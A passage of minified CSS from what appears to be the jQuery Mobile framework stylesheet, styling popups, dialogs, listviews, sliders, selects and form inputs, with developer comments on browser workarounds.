.ui-controlgroup-controls .ui-btn-icon-notext, .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn-icon-notext { width: 1.5em; } .ui-controlgroup-controls .ui-btn-icon-notext { height: auto; padding: .7em 1em; } .ui-controlgroup-vertical .ui-controlgroup-controls .ui-btn { border-bottom-width: 0; } .ui-controlgroup-vertical .ui-controlgroup-controls .ui-btn.ui-last-child { border-bottom-width: 1px; } .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-btn { border-right-width: 0; } .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-btn.ui-last-child { border-right-width: 1px; } .ui-controlgroup-controls .ui-btn-corner-all, .ui-controlgroup-controls .ui-btn.ui-corner-all { -webkit-border-radius: 0; border-radius: 0; } .ui-controlgroup-controls, .ui-controlgroup-controls .ui-radio, .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-controls .ui-select, .ui-controlgroup-controls li { -webkit-border-radius: inherit; border-radius: inherit; } .ui-controlgroup-vertical .ui-btn.ui-first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-controlgroup-vertical .ui-btn.ui-last-child { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-controlgroup-horizontal .ui-btn.ui-first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-controlgroup-horizontal .ui-btn.ui-last-child { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-controlgroup-controls a.ui-shadow:not(:focus), .ui-controlgroup-controls button.ui-shadow:not(:focus), .ui-controlgroup-controls div.ui-shadow:not(.ui-focus) { -moz-box-shadow: none; -webkit-box-shadow: none; box-shadow: none; } /* Fixes legend not wrapping on IE10 */ .ui-controlgroup-label legend { max-width: 100%; } .ui-controlgroup-controls > label { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-dialog { background: none !important; /* this is to ensure that dialog theming does not apply (by default at least) on the page div */ } .ui-dialog-contain { width: 92.5%; max-width: 500px; margin: 10% auto 1em auto; padding: 0; position: relative; top: -1em; } .ui-dialog-contain > .ui-header, .ui-dialog-contain > .ui-content, .ui-dialog-contain > .ui-footer { display: block; position: relative; width: auto; margin: 0; } .ui-dialog-contain > .ui-header { overflow: hidden; z-index: 10; padding: 0; border-top-width: 0; } .ui-dialog-contain > .ui-footer { z-index: 10; padding: 0 1em; border-bottom-width: 0; } .ui-popup-open .ui-header-fixed, .ui-popup-open .ui-footer-fixed { position: absolute !important; /* See issues #4816, #4844 and #4874 and popup.js */ } .ui-popup-screen { background-image: url("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="); /* Necessary to set some form of background to ensure element is clickable in IE6/7. While legacy IE won't understand the data-URI'd image, it ensures no additional requests occur in all other browsers with little overhead. */ top: 0; left: 0; right: 0; bottom: 1px; position: absolute; filter: Alpha(Opacity=0); opacity: 0; z-index: 1099; } .ui-popup-screen.in { opacity: 0.5; filter: Alpha(Opacity=50); } .ui-popup-screen.out { opacity: 0; filter: Alpha(Opacity=0); } .ui-popup-container { z-index: 1100; display: inline-block; position: absolute; padding: 0; outline: 0; } .ui-popup { position: relative; } .ui-popup.ui-body-inherit { border-width: 1px; border-style: solid; } .ui-popup-hidden { left: 0; top: 0; position: absolute !important; visibility: hidden; } .ui-popup-truncate { height: 1px; width: 1px; margin: -1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-popup.ui-content, .ui-popup .ui-content { overflow: visible; } .ui-popup > .ui-header { border-top-width: 0; } .ui-popup > .ui-footer { border-bottom-width: 0; } .ui-popup > p, .ui-popup > h1, .ui-popup > h2, .ui-popup > h3, .ui-popup > h4, .ui-popup > h5, .ui-popup > h6 { margin: .5em .4375em; } .ui-popup > span { display: block; margin: .5em .4375em; } .ui-popup-container .ui-content > p, .ui-popup-container .ui-content > h1, .ui-popup-container .ui-content > h2, .ui-popup-container .ui-content > h3, .ui-popup-container .ui-content > h4, .ui-popup-container .ui-content > h5, .ui-popup-container .ui-content > h6 { margin: .5em 0; } .ui-popup-container .ui-content > span { margin: 0; } .ui-popup-container .ui-content > p:first-child, .ui-popup-container .ui-content > h1:first-child, .ui-popup-container .ui-content > h2:first-child, .ui-popup-container .ui-content > h3:first-child, .ui-popup-container .ui-content > h4:first-child, .ui-popup-container .ui-content > h5:first-child, .ui-popup-container .ui-content > h6:first-child { margin-top: 0; } .ui-popup-container .ui-content > p:last-child, .ui-popup-container .ui-content > h1:last-child, .ui-popup-container .ui-content > h2:last-child, .ui-popup-container .ui-content > h3:last-child, .ui-popup-container .ui-content > h4:last-child, .ui-popup-container .ui-content > h5:last-child, .ui-popup-container .ui-content > h6:last-child { margin-bottom: 0; } .ui-popup > img { max-width: 100%; max-height: 100%; vertical-align: middle; } .ui-popup:not(.ui-content) > img:only-child, .ui-popup:not(.ui-content) > .ui-btn-left:first-child + img:last-child, .ui-popup:not(.ui-content) > .ui-btn-right:first-child + img:last-child { -webkit-border-radius: inherit; border-radius: inherit; } .ui-popup iframe { vertical-align: middle; } .ui-popup > .ui-btn-left, .ui-popup > .ui-btn-right { position: absolute; top: -11px; margin: 0; z-index: 1101; } .ui-popup > .ui-btn-left { left: -11px; } .ui-popup > .ui-btn-right { right: -11px; } /* Dimensions related to the popup arrow -----------------------------------------------------------------------------------------------------------*/ /* desired triangle height: 10px */ /** * guide for the arrow - its width, height, and offset are theme-dependent and * should be expessed as left, right, top, bottom, so that the element bearing * such a class becomes stretched inside its parent position: relative element. * The left/top/right/bottom specified below should reflect the corresponding * border radii and so it leaves room for the shadow: * ..--------------------.. * ." ^ top ". * / v \ * | +------------------+ | * | | | | * | left| |right| * |<--->| |<--->| * | +------------------+ | * \ ^ / * `. v bottom .' * ""--------------------"" * The idea is that the top/left of the arrow container box does not move to a * coordinate smaller than the top/left of the guide and the right/bottom of * the arrow container box does not move to a coordinate larger than the * bottom/right of the guide. This will help us avoid the following situation: * ..--------------------.. * ." ^ top ". * /|/ v \ * / | +------------------+ | * \ | | | | * \| left| |right| * |<--->| |<--->| * | +------------------+ | * \ ^ / * `. v bottom .' * ""--------------------"" * The arrow should not receive a top/left coordinate such that it is too close * to one of the corners, because then at first the shadow of the arrow and, * given a coordinate even closer to the corner, even the body of the arrow will * "stick out" of the corner of the popup. The guide provides a hint to the * arrow positioning code as to which range of values is acceptable for the * arrow container's top/left coordinate. **/ .ui-popup-arrow-container { width: 20px; height: 20px; } /* aside from the "infinities" (-1000,2000), triangle height is used */ .ui-popup-arrow-container.ui-popup-arrow-l { left: -10px; clip: rect(-1000px,10px,2000px,-1000px); } .ui-popup-arrow-container.ui-popup-arrow-t { top: -10px; clip: rect(-1000px,2000px,10px,-1000px); } .ui-popup-arrow-container.ui-popup-arrow-r { right: -10px; clip: rect(-1000px,2000px,2000px,10px); } .ui-popup-arrow-container.ui-popup-arrow-b { bottom: -10px; clip: rect(10px,2000px,1000px,-1000px); } /** * For each side, the arrow is twice the desired size and its corner is aligned * with the edge of the container: * * /\ /\ +----+ /\ * / \ / \ | /\ |top / \ * +----+ \ / +----+ +-->|/ \| / \ * left| / | \ / | \ |right | | | / \ * |/ | \ / | \| | /| |\ / \ * |\ | / \ | /| | / +----+ \ \ +----+ / * | \ | / \ | / | | \ / \| |/ * +----+ / \ +----+ | \ / | | * ^ \ / \ / ^ | \ / +->|\ /| * | \/ \/ | | \ / | | \/ |bottom * | | | \/ | +----+ * +-------------------+--------+-----------+ * | * arrow container * (clips arrow) **/ .ui-popup-arrow-container .ui-popup-arrow { /* (4*desired triangle height)/sqrt(2) - does not account for border - centred within the outer rectangle */ width: 28.284271247px; height: 28.284271247px; border-width: 1px; border-style: solid; } .ui-popup-arrow-container.ui-popup-arrow-t .ui-popup-arrow { left: -4.142135623px; top: 5.857864376px; } .ui-popup-arrow-container.ui-popup-arrow-b .ui-popup-arrow { left: -4.142135623px; top: -14.142135623px; } .ui-popup-arrow-container.ui-popup-arrow-l .ui-popup-arrow { left: 5.857864376px; top: -4.142135623px; } .ui-popup-arrow-container.ui-popup-arrow-r .ui-popup-arrow { left: -14.142135623px; top: -4.142135623px; } /* Fix rotation center for oldIE - see http://www.useragentman.com/IETransformsTranslator/ */ .ui-popup-arrow-container.ui-popup-arrow-t.ie .ui-popup-arrow { margin-left: -5.857864376269049px; margin-top: -7.0710678118654755px; } .ui-popup-arrow-container.ui-popup-arrow-b.ie .ui-popup-arrow { margin-left: -5.857864376269049px; margin-top: -4.142135623730951px; } .ui-popup-arrow-container.ui-popup-arrow-l.ie .ui-popup-arrow { margin-left: -7.0710678118654755px; margin-top: -5.857864376269049px; } .ui-popup-arrow-container.ui-popup-arrow-r.ie .ui-popup-arrow { margin-left: -4.142135623730951px; margin-top: -5.857864376269049px; } /* structure */ .ui-popup > .ui-popup-arrow-guide { position: absolute; left: 0; right: 0; top: 0; bottom: 0; visibility: hidden; } .ui-popup-arrow-container { position: absolute; } .ui-popup-arrow { -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); position: absolute; overflow: hidden; box-sizing: border-box; } .ui-popup-arrow-container.ie .ui-popup-arrow { -ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=0.7071067811865474, M12=-0.7071067811865477, M21=0.7071067811865477, M22=0.7071067811865474, SizingMethod='auto expand')"; filter: progid:DXImageTransform.Microsoft.Matrix( M11=0.7071067811865474, M12=-0.7071067811865477, M21=0.7071067811865477, M22=0.7071067811865474, SizingMethod='auto expand'); } .ui-checkbox, .ui-radio { margin: .5em 0; position: relative; } .ui-checkbox .ui-btn, .ui-radio .ui-btn { margin: 0; text-align: left; white-space: normal; /* Nowrap + ellipsis doesn't work on label. Issue #1419. */ z-index: 2; } .ui-controlgroup .ui-checkbox .ui-btn.ui-focus, .ui-controlgroup .ui-radio .ui-btn.ui-focus { z-index: 3; } .ui-checkbox .ui-btn-icon-top, .ui-radio .ui-btn-icon-top, .ui-checkbox .ui-btn-icon-bottom, .ui-radio .ui-btn-icon-bottom { text-align: center; } .ui-controlgroup-horizontal .ui-checkbox .ui-btn:after, .ui-controlgroup-horizontal .ui-radio .ui-btn:after { content: none; display: none; } /* Native input positioning */ .ui-checkbox input, .ui-radio input { position: absolute; left: .466em; top: 50%; width: 22px; height: 22px; margin: -11px 0 0 0; outline: 0 !important; z-index: 1; } .ui-controlgroup-horizontal .ui-checkbox input, .ui-controlgroup-horizontal .ui-radio input { left: 50%; margin-left: -9px; } .ui-checkbox input:disabled, .ui-radio input:disabled { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-select { margin-top: .5em; margin-bottom: .5em; /* no shorthand for margin because it would override margin-right for inline selects */ position: relative; } .ui-select > select { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-select .ui-btn { margin: 0; opacity: 1; /* Fixes #2588: When Windows Phone 7.5 (Mango) tries to calculate a numeric opacity for a select (including "inherit") without explicitly specifying an opacity on the parent to give it context, a bug appears where clicking elsewhere on the page after opening the select will open the select again. */ } .ui-select .ui-btn select { position: absolute; top: 0; left: 0; width: 100%; min-height: 1.5em; min-height: 100%; height: 3em; max-height: 100%; outline: 0; -webkit-border-radius: inherit; border-radius: inherit; -webkit-appearance: none; -moz-appearance: none; cursor: pointer; filter: Alpha(Opacity=0); opacity: 0; z-index: 2; } @-moz-document url-prefix() { .ui-select .ui-btn select { opacity: 0.0001; } } /* Display none because of issues with IE/WP's filter alpha opacity */ .ui-select .ui-state-disabled select { display: none; } /* Because we add all classes of the select and option elements to the span... */ .ui-select span.ui-state-disabled { filter: Alpha(Opacity=100); opacity: 1; } .ui-select .ui-btn.ui-select-nativeonly { border-radius: 0; border: 0; } .ui-select .ui-btn.ui-select-nativeonly select { opacity: 1; text-indent: 0; display: block; } /* ui-li-count is styled in the listview CSS. We set padding and offset here because select supports icon position while listview doesn't. */ .ui-select .ui-li-has-count.ui-btn { padding-right: 2.8125em; } .ui-select .ui-li-has-count.ui-btn-icon-right { padding-right: 4.6875em; } .ui-select .ui-btn-icon-right .ui-li-count { right: 3.2em; } /* We set the rules for the span as well to fix an issue on Chrome with text-overflow ellipsis for the button in combination with text-align center. */ .ui-select .ui-btn > span:not(.ui-li-count) { display: block; text-overflow: ellipsis; overflow: hidden !important; white-space: nowrap; } .ui-selectmenu.ui-popup { min-width: 11em; } .ui-selectmenu .ui-dialog-contain { overflow: hidden; } .ui-selectmenu .ui-header { margin: 0; padding: 0; border-width: 0; } .ui-selectmenu.ui-dialog .ui-header { z-index: 1; position: relative; } .ui-selectmenu.ui-popup .ui-header { -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; } /* when no placeholder is defined in a multiple select, the header height doesn't even extend past the close button. this shim's content in there */ .ui-selectmenu.ui-popup .ui-header h1:after { content: '.'; visibility: hidden; } .ui-selectmenu .ui-header .ui-title { margin: 0 2.875em; } .ui-selectmenu.ui-dialog .ui-content { overflow: visible; z-index: 1; } .ui-selectmenu .ui-selectmenu-list { margin: 0; -webkit-border-radius: inherit; border-radius: inherit; } .ui-header:not(.ui-screen-hidden) + .ui-selectmenu-list { -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-top-left-radius: 0; border-top-left-radius: 0; } .ui-header.ui-screen-hidden + .ui-selectmenu-list li.ui-first-child .ui-btn { border-top-width: 0; } .ui-selectmenu .ui-selectmenu-list li.ui-last-child .ui-btn { border-bottom-width: 0; } .ui-selectmenu .ui-btn.ui-li-divider { cursor: default; } .ui-selectmenu .ui-selectmenu-placeholder { display: none; } .ui-listview, .ui-listview > li { margin: 0; padding: 0; list-style: none; } .ui-content .ui-listview, .ui-panel-inner > .ui-listview { margin: -1em; } .ui-content .ui-listview-inset, .ui-panel-inner > .ui-listview-inset { margin: 1em 0; } .ui-collapsible-content > .ui-listview { margin: -.5em -1em; } .ui-collapsible-content > .ui-listview-inset { margin: .5em 0; } .ui-listview > li { display: block; position: relative; overflow: visible; } .ui-listview > .ui-li-static, .ui-listview > .ui-li-divider, .ui-listview > li > a.ui-btn { margin: 0; display: block; position: relative; text-align: left; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview > li > .ui-btn:focus { z-index: 1; } .ui-listview > .ui-li-static, .ui-listview > .ui-li-divider, .ui-listview > li > a.ui-btn { border-width: 1px 0 0 0; border-style: solid; } .ui-listview-inset > .ui-li-static, .ui-listview-inset > .ui-li-divider, .ui-listview-inset > li > a.ui-btn { border-right-width: 1px; border-left-width: 1px; } .ui-listview > .ui-li-static.ui-last-child, .ui-listview > .ui-li-divider.ui-last-child, .ui-listview > li.ui-last-child > a.ui-btn { border-bottom-width: 1px; } .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn { border-top-width: 0; } .ui-collapsible-themed-content .ui-listview:not(.ui-listview-inset) > li.ui-last-child, .ui-collapsible-themed-content .ui-listview:not(.ui-listview-inset) > li.ui-last-child > a.ui-btn { border-bottom-width: 0; } .ui-listview > li.ui-first-child, .ui-listview > li.ui-first-child > a.ui-btn { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-listview > li.ui-last-child, .ui-listview > li.ui-last-child > a.ui-btn { -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-listview > li.ui-li-has-alt > a.ui-btn { -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; } .ui-listview > li.ui-first-child > a.ui-btn + a.ui-btn { -webkit-border-top-left-radius: 0; border-top-left-radius: 0; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-listview > li.ui-last-child > a.ui-btn + a.ui-btn { -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-listview > li.ui-first-child img:first-child:not(.ui-li-icon) { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-listview > li.ui-last-child img:first-child:not(.ui-li-icon) { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) { -webkit-border-radius: inherit; border-radius: inherit; } .ui-listview > .ui-li-static { padding: .7em 1em; } .ui-listview > .ui-li-divider { padding: .5em 1.143em; font-size: 14px; font-weight: bold; cursor: default; outline: 0; /* Dividers in custom selectmenus have tabindex */ } .ui-listview > .ui-li-has-count > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-count, .ui-listview > .ui-li-divider.ui-li-has-count { padding-right: 2.8125em; } .ui-listview > .ui-li-has-count > .ui-btn-icon-right { padding-right: 4.6875em; } .ui-listview > .ui-li-has-thumb > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-thumb { min-height: 3.625em; padding-left: 6.25em; } /* ui-li-has-icon deprecated in 1.4. TODO: remove in 1.5 */ .ui-listview > .ui-li-has-icon > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-icon { min-height: 1.25em; padding-left: 2.5em; } /* Used by both listview and custom multiple select button */ .ui-li-count { position: absolute; font-size: 12.5px; font-weight: bold; text-align: center; border-width: 1px; border-style: solid; padding: 0 .48em; line-height: 1.6em; min-height: 1.6em; min-width: .64em; right: .8em; top: 50%; margin-top: -.88em; } .ui-listview .ui-btn-icon-right .ui-li-count { right: 3.2em; } .ui-listview .ui-li-has-thumb > img:first-child, .ui-listview .ui-li-has-thumb > .ui-btn > img:first-child, .ui-listview .ui-li-has-thumb .ui-li-thumb { position: absolute; left: 0; top: 0; max-height: 5em; max-width: 5em; } /* ui-li-has-icon deprecated in 1.4. TODO: remove in 1.5 */ .ui-listview > .ui-li-has-icon > img:first-child, .ui-listview > .ui-li-has-icon > .ui-btn > img:first-child { position: absolute; left: .625em; top: .9em; max-height: 1em; max-width: 1em; } .ui-listview > li h1, .ui-listview > li h2, .ui-listview > li h3, .ui-listview > li h4, .ui-listview > li h5, .ui-listview > li h6 { font-size: 1em; font-weight: bold; display: block; margin: .45em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview > li p { font-size: .75em; font-weight: normal; display: block; margin: .6em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview .ui-li-aside { position: absolute; top: 1em; right: 3.333em; margin: 0; text-align: right; } .ui-listview > li.ui-li-has-alt > .ui-btn { margin-right: 2.5em; border-right-width: 0; } .ui-listview > li.ui-li-has-alt > .ui-btn + .ui-btn { position: absolute; width: 2.5em; height: 100%; min-height: auto; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; border-left-width: 1px; top: 0; right: 0; margin: 0; padding: 0; z-index: 2; } .ui-listview-inset > li.ui-li-has-alt > .ui-btn + .ui-btn { border-right-width: 1px; } .ui-listview > li.ui-li-has-alt > .ui-btn + .ui-btn:focus { z-index: 3; } ol.ui-listview, ol.ui-listview > .ui-li-divider { counter-reset: listnumbering; } ol.ui-listview > li > .ui-btn, ol.ui-listview > li.ui-li-static { vertical-align: middle; } ol.ui-listview > li > .ui-btn:first-child:before, ol.ui-listview > li.ui-li-static:before, ol.ui-listview > li.ui-field-contain > label:before, ol.ui-listview > li.ui-field-contain > .ui-controlgroup-label:before { display: inline-block; font-size: .9em; font-weight: normal; padding-right: .3em; min-width: 1.4em; line-height: 1.5; vertical-align: middle; counter-increment: listnumbering; content: counter(listnumbering) "."; } ol.ui-listview > li.ui-field-contain:before { content: none; display: none; } ol.ui-listview > li h1:first-child, ol.ui-listview > li h2:first-child, ol.ui-listview > li h3:first-child, ol.ui-listview > li h4:first-child, ol.ui-listview > li h5:first-child, ol.ui-listview > li h6:first-child, ol.ui-listview > li p:first-child, ol.ui-listview > li img:first-child + * { display: inline-block; vertical-align: middle; } ol.ui-listview > li h1:first-child ~ *, ol.ui-listview > li h2:first-child ~ *, ol.ui-listview > li h3:first-child ~ *, ol.ui-listview > li h4:first-child ~ *, ol.ui-listview > li h5:first-child ~ *, ol.ui-listview > li h6:first-child ~ *, ol.ui-listview > li p:first-child ~ *, ol.ui-listview > li img:first-child + * ~ * { margin-top: 0; text-indent: 2.04em; /* (1.4em + .3em) * .9em / .75em */ } html .ui-filterable + .ui-listview, html .ui-filterable.ui-listview { margin-top: .5em; } .ui-collapsible-content > form.ui-filterable { margin-top: -.5em; } .ui-collapsible-content > .ui-input-search.ui-filterable { margin-top: 0; } .ui-collapsible-content > .ui-filterable + .ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-filterable + .ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn, .ui-collapsible-content > .ui-filterable.ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-filterable.ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn { border-top-width: 1px; } div.ui-slider { height: 30px; margin: .5em 0; padding: 0; -ms-touch-action: pan-y pinch-zoom double-tap-zoom; } div.ui-slider:before, div.ui-slider:after { content: ""; display: table; } div.ui-slider:after { clear: both; } input.ui-slider-input { display: block; float: left; font-size: 14px; font-weight: bold; margin: 0; padding: 4px; width: 40px; height: 20px; line-height: 20px; border-width: 1px; border-style: solid; outline: 0; text-align: center; vertical-align: text-bottom; -webkit-appearance: none; -moz-appearance: none; appearance: none; -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } .ui-slider-input::-webkit-outer-spin-button, .ui-slider-input::-webkit-inner-spin-button { -webkit-appearance: none; margin: 0; } .ui-slider-track { position: relative; overflow: visible; border-width: 1px; border-style: solid; height: 15px; margin: 0 15px 0 68px; top: 6px; } .ui-slider-track.ui-mini { height: 12px; top: 8px; } .ui-slider-track .ui-slider-bg { height: 100%; } /* High level of specificity to override button margins in grids */ .ui-slider-track .ui-btn.ui-slider-handle { position: absolute; z-index: 1; top: 50%; width: 28px; height: 28px; margin: -15px 0 0 -15px; outline: 0; padding: 0; } .ui-slider-track.ui-mini .ui-slider-handle { height: 14px; width: 14px; margin: -8px 0 0 -8px; } select.ui-slider-switch { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } div.ui-slider-switch { display: inline-block; height: 32px; width: 5.8em; top: 0; } /* reset the clearfix */ div.ui-slider-switch:before, div.ui-slider-switch:after { display: none; clear: none; } div.ui-slider-switch.ui-mini { height: 29px; top: 0; } .ui-slider-inneroffset { margin: 0 16px; position: relative; z-index: 1; } .ui-slider-switch.ui-mini .ui-slider-inneroffset { margin: 0 15px 0 14px; } .ui-slider-switch .ui-btn.ui-slider-handle { margin: 1px 0 0 -15px; } .ui-slider-switch.ui-mini .ui-slider-handle { width: 25px; height: 25px; margin: 1px 0 0 -13px; padding: 0; } .ui-slider-handle-snapping { -webkit-transition: left 70ms linear; -moz-transition: left 70ms linear; transition: left 70ms linear; } .ui-slider-switch .ui-slider-label { position: absolute; text-align: center; width: 100%; overflow: hidden; font-size: 16px; top: 0; line-height: 2; min-height: 100%; white-space: nowrap; cursor: pointer; } .ui-slider-switch.ui-mini .ui-slider-label { font-size: 14px; } .ui-slider-switch .ui-slider-label-a { z-index: 1; left: 0; text-indent: -1.5em; } .ui-slider-switch .ui-slider-label-b { z-index: 0; right: 0; text-indent: 1.5em; } /* The corner radii for ui-slider-switch/track can be specified in theme CSS. The bg and handle inherits. */ .ui-slider-track .ui-slider-bg, .ui-slider-switch .ui-slider-label, .ui-slider-switch .ui-slider-inneroffset, .ui-slider-handle { -webkit-border-radius: inherit; border-radius: inherit; } .ui-field-contain div.ui-slider-switch { margin: 0; } /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-field-contain div.ui-slider-switch, .ui-field-contain.ui-hide-label div.ui-slider-switch, html .ui-popup .ui-field-contain div.ui-slider-switch { display: inline-block; width: 5.8em; } /* slider tooltip -----------------------------------------------------------------------------------------------------------*/ .ui-slider-popup { width: 64px; height: 64px; font-size: 36px; padding-top: 14px; opacity: 0.8; } .ui-slider-popup { position: absolute !important; text-align: center; z-index: 100; } .ui-slider-track .ui-btn.ui-slider-handle { font-size: .9em; line-height: 30px; } .ui-rangeslider { margin: .5em 0; } .ui-rangeslider:before, .ui-rangeslider:after { content: ""; display: table; } .ui-rangeslider:after { clear: both; } .ui-rangeslider .ui-slider-input.ui-rangeslider-last { float: right; } .ui-rangeslider .ui-rangeslider-sliders { position: relative; overflow: visible; height: 30px; margin: 0 68px; } .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track { position: absolute; top: 6px; right: 0; left: 0; margin: 0; } .ui-rangeslider.ui-mini .ui-rangeslider-sliders .ui-slider-track { top: 8px; } .ui-rangeslider .ui-slider-track:first-child .ui-slider-bg { display: none; } .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track:first-child { background-color: transparent; background: none; border-width: 0; height: 0; } /* this makes ie6 and ie7 set height to 0 to fix z-index problem */ html >/**/body .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track:first-child { height: 15px; border-width: 1px; } html >/**/body .ui-rangeslider.ui-mini .ui-rangeslider-sliders .ui-slider-track:first-child { height: 12px; } /* Hide the second label (the first is moved outside the div) */ div.ui-rangeslider label { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-field-contain .ui-rangeslider input.ui-slider-input, .ui-field-contain .ui-rangeslider.ui-mini input.ui-slider-input, .ui-field-contain .ui-rangeslider .ui-rangeslider-sliders, .ui-field-contain .ui-rangeslider.ui-mini .ui-rangeslider-sliders { margin-top: 0; margin-bottom: 0; } .ui-input-text, .ui-input-search { margin: .5em 0; border-width: 1px; border-style: solid; } .ui-mini { margin: .446em; } .ui-input-text input, .ui-input-search input, textarea.ui-input-text { padding: .4em; line-height: 1.4em; display: block; width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; outline: 0; } .ui-input-text input, .ui-input-search input { margin: 0; min-height: 2.2em; text-align: left; /* Opera aligns type="date" right by default */ border: 0; background: transparent none; -webkit-appearance: none; -webkit-border-radius: inherit; border-radius: inherit; } textarea.ui-input-text { overflow: auto; resize: vertical; } .ui-mini .ui-input-text input, .ui-mini .ui-input-search input, .ui-input-text.ui-mini input, .ui-input-search.ui-mini input, .ui-mini textarea.ui-input-text, textarea.ui-mini { font-size: 14px; } /* Same margin for mini textareas as other mini sized widgets (12.5/14 * 0.5em) */ .ui-mini textarea.ui-input-text, textarea.ui-mini { margin: .446em 0; } .ui-input-has-clear, .ui-input-search { position: relative; } /* Padding on the div instead of input because of browser spinners etc. */ .ui-input-has-clear { padding-right: 2.375em; } .ui-mini.ui-input-has-clear { padding-right: 2.923em; } .ui-input-has-clear input { padding-right: 0; /* Autofill on Chrome has bg color so we unset corners right as well. */ -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; } /* Search icon */ .ui-input-search input { padding-left: 1.75em; } .ui-input-search:after { position: absolute; left: .3125em; top: 50%; margin-top: -7px; content: ""; background-position: center center; background-repeat: no-repeat; width: 14px; height: 14px; filter: Alpha(Opacity=50); opacity: .5; } .ui-input-search.ui-input-has-clear .ui-btn.ui-input-clear, .ui-input-text.ui-input-has-clear .ui-btn.ui-input-clear { position: absolute; right: 0; top: 50%; margin: -14px .3125em 0; border: 0; background-color: transparent; } .ui-input-search .ui-input-clear-hidden, .ui-input-text .ui-input-clear-hidden { display: none; } /* Resolves issue #5166: Added to support issue introduced in Firefox 15. We can likely remove this in the future. */ .ui-input-text input::-moz-placeholder, .ui-input-search input::-moz-placeholder, textarea.ui-input-text::-moz-placeholder { color: #aaa; } /* Same for IE10 */ .ui-input-text input:-ms-input-placeholder, .ui-input-search input:-ms-input-placeholder, textarea.ui-input-text:-ms-input-placeholder { color: #aaa; } /* Resolves issue #5131: Width of textinput depends on its type, for Android 4.1 */ .ui-input-text input[type=number]::-webkit-outer-spin-button { margin: 0; } /* Resolves issue #5756: Textinput in IE10 has a default clear button */ .ui-input-text input::-ms-clear, .ui-input-search input::-ms-clear { display: none; } .ui-input-text input:focus, .ui-input-search input:focus { -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } textarea.ui-input-text.ui-textinput-autogrow { overflow: hidden; } .ui-textinput-autogrow-resize { -webkit-transition: height 0.25s; -o-transition: height 0.25s; -moz-transition: height 0.25s; transition: height 0.25s; } .ui-flipswitch { display: inline-block; vertical-align: middle; width: 5.875em; /* Override this and padding-left in next rule if you use labels other than "on/off" and need more space */ height: 1.875em; border-width: 1px; border-style: solid; margin: .5em 0; overflow: hidden; -webkit-transition-property: padding, width, background-color, color, border-color; -moz-transition-property: padding, width, background-color, color, border-color; -o-transition-property: padding, width, background-color, color, border-color; transition-property: padding, width, background-color, color, border-color; -webkit-transition-duration: 100ms; -moz-transition-duration: 100ms; -o-transition-duration: 100ms; transition-duration: 100ms; -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; cursor: pointer; } 